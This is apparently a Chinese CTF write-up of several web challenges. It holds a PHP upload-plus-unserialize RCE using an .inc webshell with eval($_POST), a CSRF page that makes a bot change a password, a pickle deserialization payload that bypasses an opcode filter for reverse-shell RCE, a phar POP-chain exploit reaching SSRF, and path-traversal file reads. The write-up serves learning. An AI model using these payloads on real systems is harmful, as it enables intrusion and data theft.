php写的后端 要求使用文件上传+反序列化实现RCE
cookie中有序列化的userfile字段来表示用户已经上传的文件,那应该要先想办法通过文件读取的功能读取到源代码,然后再考虑如何结合反序列化实现RCE。
源码在 www.zip
主要流程就是3个能访问的php文件都是引入了config.inc.php这个文件,config.inc.php这个文件会将cookie中的userfile反序列化,在访问showfile.php时就会根据反序列化后的内容渲染在页面上。而upload.php中对上传文件内容做了过滤,并且对于能够符合条件的文件以md5时间为文件名存储。
$file = $_FILES["file"];
if ($file["error"] == 0) {
if($_FILES["file"]['size'] > 0 && $_FILES["file"]['size'] < 102400) {
$typeArr = explode("/", $file["type"]);
$imgType = array("png","jpg","jpeg");
if(!$typeArr[0]== "image" | !in_array($typeArr[1], $imgType)){
exit("type error");
}
$blackext = ["php", "php5", "php3", "html", "swf", "htm","phtml"];
$filearray = pathinfo($file["name"]);
$ext = $filearray["extension"];
if(in_array($ext, $blackext)) {
exit("extension error");
}
$imgname = md5(time()).".".$ext;
if(move_uploaded_file($_FILES["file"]["tmp_name"],"./".$imgname)) {
array_push($userfile, $imgname);
setcookie("userfile", serialize($userfile), time() + 3600*10);
$msg = e("file: {$imgname}");
echo $msg;
} else {
echo "upload failed!";
}
}
}else{
exit("error");
}
比赛时候感觉没有魔法方法感觉很奇怪,这怎么打反序列化利用呢,虽然可以通过修改http请求来上传任意后缀内容的文件,但是.htacess是会被重命名的所以当时没有想到办法。
赛后看wp发现关键是config.inc.php 文件中的 spl_autoload_register() 函数
<?php
spl_autoload_register();
error_reporting(0);
function e($str){
return htmlspecialchars($str);
}
$userfile = empty($_COOKIE["userfile"]) ? [] : unserialize($_COOKIE["userfile"]);
?>
<p>
<a href="/index.php">Index</a>
<a href="/showfile.php">files</a>
</p>
当spl_autoload_register()不指定处理用的函数,就会自动包含.php
或.inc
的文件,并加载其中的文件名
类,而且黑名单中也没有.inc
,所以上传内容为<?php phpinfo();eval($_POST[evil]);?>
的inc文件,上传后服务端会存放xxxx.inc
,将xxxx
反序列化后放在Cookie中,就可以实现RCE了。
这是一个csrf的题目,当时就其实payload是对的但是第一次没打通以为是有什么问题,结果赛后一看别的师傅的wp发现一模一样,挺离谱的。将恶意页面放在服务器上面,让bot去访问,就可以伪装bot发给服务端修改密码请求,改密码后就可以登陆成功了。
<!doctype html>
<html>
<head></head>
<body>
<script>
var url = "ws://127.0.0.1:8888/bot"
// var url = "ws://123.56.105.22:23302/bot"
var ws = new WebSocket(url)
ws.onopen = e => {
ws.send("changepw 111222333")
window.location = "http://101.34.253.123:60012/connect"
}
ws.onerror = e => {
window.location = "http://101.34.253.123:60012/connection_error"
}
ws.onmessage = function (ev) {
window.location = "http://101.34.253.123:60012/msg_"+ev.data
}
ws.onclose = e => {
window.location = "http://101.34.253.123:60012/conection_close"
}
</script>
</body>
</html>
登陆上去后的部分就是看别人wp了,毕竟也没有开源题目。考察的是由于python和go对于json的解释器不同,写两个num并且第一个num改为负数就可以成功绕过限制。
这个题目当时一直不懂flag在504页面是什么意思,只知道是打pickle反序列化,但是又很奇怪为什么会有os.system("rm -rf *py*")
这样一句删光.py文件的语句。
import base64
# import sqlite3
import pickle
from flask import Flask, make_response,request, session
import admin
import random
app = Flask(__name__,static_url_path='')
app.secret_key=random.randbytes(12)
class User:
def __init__(self, username,password):
self.username=username
self.token=hash(password)
def get_password(username):
if username=="admin":
return admin.secret
else:
# conn=sqlite3.connect("user.db")
# cursor=conn.cursor()
# cursor.execute(f"select password from usertable where username='{username}'")
# data=cursor.fetchall()[0]
# if data:
# return data[0]
# else:
# return None
return session.get("password")
@app.route('/balancer', methods=['GET', 'POST'])
def flag():
pickle_data=base64.b64decode(request.cookies.get("userdata"))
if b'R' in pickle_data or b"secret" in pickle_data:
return "You damm hacker!"
os.system("rm -rf *py*")
userdata=pickle.loads(pickle_data)
if userdata.token!=hash(get_password(userdata.username)):
return "Login First"
if userdata.username=='admin':
return "Welcome admin, here is your next challenge!"
return "You're not admin!"
@app.route('/login', methods=['GET', 'POST'])
def login():
resp = make_response("success")
session["password"]=request.values.get("password")
resp.set_cookie("userdata", base64.b64encode(pickle.dumps(User(request.values.get("username"),request.values.get("password")),2)), max_age=3600)
return resp
@app.route('/', methods=['GET', 'POST'])
def index():
return open('source.txt',"r").read()
if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)
第一步应该是想办法让解析cookie出来的userdata.username=’admin’,考虑pickle rce。
cookie中有两个字段,userdata是User对象用pickle序列化后的字节码再base64编码的,session是password,但是并不能直接伪造一个userdata,因为通过username和hash(password)来检验身份,而我们并不知道admin这个username对应的password。本地调试了一下,默认的用户username和password都是none。
首先是绕过’R和secret的限制,参考文章https://zhuanlan.zhihu.com/p/361349643
b'''cos
system
(S'command'
tR.'''
base64编码后替换cookie中的userdata,再访问/balancer接口就可以实现rce,反弹shell。
这里因为有os.system("rm -rf *py*")
,而flag会在504页面返回,因此需要自己写一个flask服务并且写一句time.sleep延时,替换掉原本目录下的flask服务,再访问就会认为服务端504了给出flag了,不过这里有一点还没想明白的就是如果正常访问/balancer接口,不会触发os.system(“rm -rf py“)而导致服务崩溃么…
有文件上传和读取文件功能,通过GET请求传入fname参数,通过phar协议访问上传的phar文件,来通过反序列化AdminShow
类的Show函数实现ssrf,访问本地机器文件。
可以通过任意文件读取/showfile.php?f=../demo.png/../../../../../../../../../../../../etc/passwd
读取源码
参考其他师傅的exp:
<?php
class Upload {
public $file;
public $filesize;
public $date;
public $tmp;
}
class GuestShow{
public $file;
public $contents;
}
class AdminShow{
public $source;
public $str;
public $filter;
}
$guest = new GuestShow();
$guest1 = new GuestShow();
$upload = new Upload();
$upload1 = new Upload();
$upload2 = new Upload();
$admin = new AdminShow();
$admin1 = new AdminShow();
$guest->file = $upload;
$upload->tmp = $admin;
$admin->str[0] = $upload1;
$admin->str[1] = $upload2;
$upload1->filesize = $admin1;
$upload1->date = "http://10.10.10.10/?url=file:///flag";
$upload2->filesize = $admin1;
$upload2->date = "";
$upload2->tmp = $guest1;
$guest1->file = $admin1;
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($guest); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
通过Show()函数实现ssrf后,可以从/proc/net/arp获取内网的ip地址。可惜题目环境下线了,那只能看一看Wp了就没法直接复现了。
访问10.10.10.10后,可以获取源码。
<?php
highlight_file(__FILE__);
if (isset($_GET['url'])){
$link = $_GET['url'];
$curlobj = curl_init();
curl_setopt($curlobj, CURLOPT_POST, 0);
curl_setopt($curlobj,CURLOPT_URL,$link);
curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($curlobj);
curl_close($curlobj);
echo $result;
}
if($_SERVER['REMOTE_ADDR']==='10.10.10.101'||$_SERVER['REMOTE_ADDR']==='100.100.100.101'){
system('cat /flag');
die();
}
?>
又存在ssrf,那么传入http://10.10.10.10/?url=file:///flag
,可以通过file协议来读取flag文件。